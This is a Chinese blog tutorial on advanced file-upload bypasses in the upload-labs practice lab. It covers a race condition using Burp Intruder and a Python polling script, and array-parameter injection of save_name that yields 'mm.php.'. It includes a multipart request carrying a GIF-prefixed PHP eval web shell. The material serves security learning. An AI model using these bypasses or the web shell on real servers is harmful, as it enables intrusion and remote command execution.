• 文件上传漏洞(3), 文件上传实战绕过思路, 进阶篇, 代码审计


    文件上传漏洞实战思路(进阶)

    一, 条件竞争(实战中很难成功)

    需要代码审计

    前端环境:

    上传一张图片

    后端源码:
    
    $is_upload = false;
    $msg = null;
    
    if(isset($_POST['submit'])){
        // 定义数组, 后缀名白名单
        $ext_arr = array('jpg','png','gif');
        $file_name = $_FILES['upload_file']['name']; // 原始文件名
        $temp_file = $_FILES['upload_file']['tmp_name']; // 临时文件名
        $file_ext = substr($file_name,strrpos($file_name,".")+1); // 后缀名
        $upload_file = UPLOAD_PATH . '/' . $file_name; // upload路径
        
        // 移动文件到upload路径下, 保持原始文件名
        if(move_uploaded_file($temp_file, $upload_file)){
            // 判断后缀名是是否属于白名单
            if(in_array($file_ext,$ext_arr)){
                 // 定义新的文件名
                 $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
                 // 重命名文件
                 rename($upload_file, $img_path);
                 $is_upload = true;
            }else{
                $msg = "只允许上传.jpg|.png|.gif类型文件!";
                unlink($upload_file); // 删除文件
            }
        }else{
            $msg = '上传出错!';
        }
    }
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30

    漏洞原理:

    因为移动upload_file文件到目录的过程可能存在较短的一段时间,
    所以从 move_uploaded_file() 移动文件, 到 unlink() 删除 upload_file 文件之间可能存在一定时间间隔.

    虽然这个文件之后会被 unlink() 删除, 但是只要在 upload_file 没有被删除的这段时间之内马上用浏览器去访问它, 就可以通过它里面的代码 file_put_contents() 写一个新的木马mm.php文件到服务器上, 漏洞利用就成功了.

    例如:

    上传文件upload.php的代码, 这段代码将一句话木马写到新的mm.php文件:

    
    file_put_contents("mm.php", '');
    echo "ok"
    ?>
    
    • 1
    • 2
    • 3
    • 4

    由于这里可以利用的时间可能很短, 实战中需要反复进行上传文件和访问文件来测试, 只要有一瞬间访问到了upload.php文件就可能成功创建出mm.php并写入代码.
    可以使用python或burp suite等工具来重复发送请求来提高成功率.

    1. 使用burpsuite重复上传请求

    在burpsuite中将上传请求截获, 发送到Intruder窗口.
    payload子窗口选择 Null payloads, Generate填写次数.
    Options子窗口RequestEngine设置, Number of threads 设置线程数, Throttle, Fixed填写请求间隔时间(毫秒).

    2. 使用python检测是否能够访问.
    import requests, time
    url = 'http://192.168.112.200/upload-labs-master/upload/upload.php'
    while 1:
        resp = requests.get(url)
        if resp.status_code == 200 and resp.text == "ok":
            print('ok')
            break
        time.sleep(0.05)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    二, 数组参数

    需要代码审计

    前端环境:

    上传一张图片, 输入框可以重命名文件.

    后端源码
    
    $is_upload = false;
    $msg = null;
    if(!empty($_FILES['upload_file'])){
        //检查MIME
        $allow_type = array('image/jpeg','image/png','image/gif');
        if(!in_array($_FILES['upload_file']['type'],$allow_type)){
            $msg = "禁止上传该类型文件!";
        }else{
            //检查文件名
            // 如果提交的 save_name 为空, 则获取原始文件名, 否则使用提交的 save_name 文件名.
            $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
            
            // 这里在判断file是否是数组
            if (!is_array($file)) {
                $file = explode('.', strtolower($file)); // 如果不是数组则按照点拆分得到一个数组
            }
            $ext = end($file); // 从拆分后的数组中获取最后一个元素, 得到后缀名
            $allow_suffix = array('jpg','png','gif'); // 后缀名白名单
            
            // 疑问: 这里为什么要判断 save_name 是数组呢? 那么它可能是数组吗? 
            
            // 判断后缀名是否属于白名单
            if (!in_array($ext, $allow_suffix)) {
                $msg = "禁止上传该后缀文件!";
            }else{
                $file_name = reset($file) . '.' . $file[count($file) - 1];        
                $temp_file = $_FILES['upload_file']['tmp_name'];
                $img_path = UPLOAD_PATH . '/' .$file_name;
                if (move_uploaded_file($temp_file, $img_path)) {
                    $msg = "文件上传成功!";
                    $is_upload = true;
                } else {
                    $msg = "文件上传失败!";
                }
            }
        }
    }else{
        $msg = "请选择要上传的文件!";
    }
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    实验: 以数组形式提交参数:
    1. 后端源码:
    test.php
    <?php
    $save_name = $_POST['save_name'];
    var_dump($save_name);
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    2. 网页中提交请求:
    url: http://192.168.112.200/security/test.php
    post data: save_name[0]=mm.php&save_name[1]=abc&save_name[2]=123
    
    • 1
    • 2
    3. 查看结果:
    array(3){
        [0]=> "mm.php"
        [1]=> "abc"
        [2]=> "123"
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    实验结果:

    请求参数可以直接以数组方式提交.

    绕过思路:

    通过构造POST请求的 save_name 参数, 使得文件名后缀是合法的, 并且提交到服务器上的文件是可以执行的脚本.

    继续分析:
    
    $is_upload = false;
    $msg = null;
    if(!empty($_FILES['upload_file'])){
        //检查MIME
        $allow_type = array('image/jpeg','image/png','image/gif');
        if(!in_array($_FILES['upload_file']['type'],$allow_type)){
            $msg = "禁止上传该类型文件!";
        }else{
            //检查文件名
            // 如果提交的 save_name 为空, 则获取原始文件名, 否则使用提交的 save_name 文件名.
            $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
            
            // 这里在判断file是否是数组
            if (!is_array($file)) {
                $file = explode('.', strtolower($file)); // 如果不是数组则按照点拆分得到一个数组
            }
            $ext = end($file); // 从拆分后的数组中获取最后一个元素, 得到后缀名
            $allow_suffix = array('jpg','png','gif'); // 后缀名白名单
    
            // 判断后缀名是否属于白名单
            if (!in_array($ext, $allow_suffix)) {
                $msg = "禁止上传该后缀文件!";
            }else{
                $file_name = reset($file) . '.' . $file[count($file) - 1];
               
                reset($file), 返回file数组第一个元素的值.
                $file[count($file) - 1], 返回file数组的最后一个元素的值.
                $file_name 的值将两部分进行拼接. 
                
                /*
                那么这里发现漏洞, $file[count($file) - 1] 是根据数组的键来取值,
                如果能构造一个数组元素, 让第一个元素值是php文件名`mm.php`, 第二个元素值是合法的后缀名`jpg`, 
                但是第二个元素的键是[2], 而不是[1], 那么此时 $file[count($file) - 1] 就是 $file[1], 
                因为没有[1]这个键会导致无法取得这个值, 结果就是空. 
                
                那么构造数组:
                post data: save_name[0]=mm.php, save_name[2]=jpg
                
                执行结果:
                $file_name = "mm.php" . '.' . $file[2 - 1]
                $file_name = "mm.php" . '.' . ""
                $file_name = "mm.php."
                */    
                
                $temp_file = $_FILES['upload_file']['tmp_name'];
                $img_path = UPLOAD_PATH . '/' .$file_name;
                if (move_uploaded_file($temp_file, $img_path)) {
                    $msg = "文件上传成功!";
                    $is_upload = true;
                } else {
                    $msg = "文件上传失败!";
                }
            }
        }
    }else{
        $msg = "请选择要上传的文件!";
    }
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59

    在burpsuite中提交post数组:

    -----------------------------3816641301419821690338590197
    Content-Disposition: form-data; name="upload_file"; filename="mm.php"
    Content-Type: image/gif
    
    GIF89a
    <?php @eval($_GET["cmd"]); ?>
    -----------------------------3816641301419821690338590197
    Content-Disposition: form-data; name="save_name[0]"
    
    mm.php
    -----------------------------3816641301419821690338590197
    Content-Disposition: form-data; name="save_name[2]"
    
    gif
    -----------------------------3816641301419821690338590197
    Content-Disposition: form-data; name="submit"
    
    涓婁紶
    -----------------------------3816641301419821690338590197--
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19

    访问木马:

    http://192.168.112.200/upload-labs-master/upload/mm.php.?cmd=phpinfo();
    
    • 1

    注意mm.php.末尾的点.

  • 相关阅读:
    实训笔记9.12
    admin后台管理
    网络安全等级保护测评
    二硫化钼量子点修饰纳米金棒/CdS纳米棒|二硫化钼量子点/g-C3N4复合光催化剂|马来酰亚胺修饰二硫化钼MoS2-MAL
    Springboot2 D2- 运维实用篇
    程序员自由创业周记#13:第一桶金
    什么是 OpenJ9
    Windows Server操作系统概述
    HTML 学习笔记(二)标题
    python处理excel
  • 原文地址:https://blog.csdn.net/bua200720411091/article/details/134080228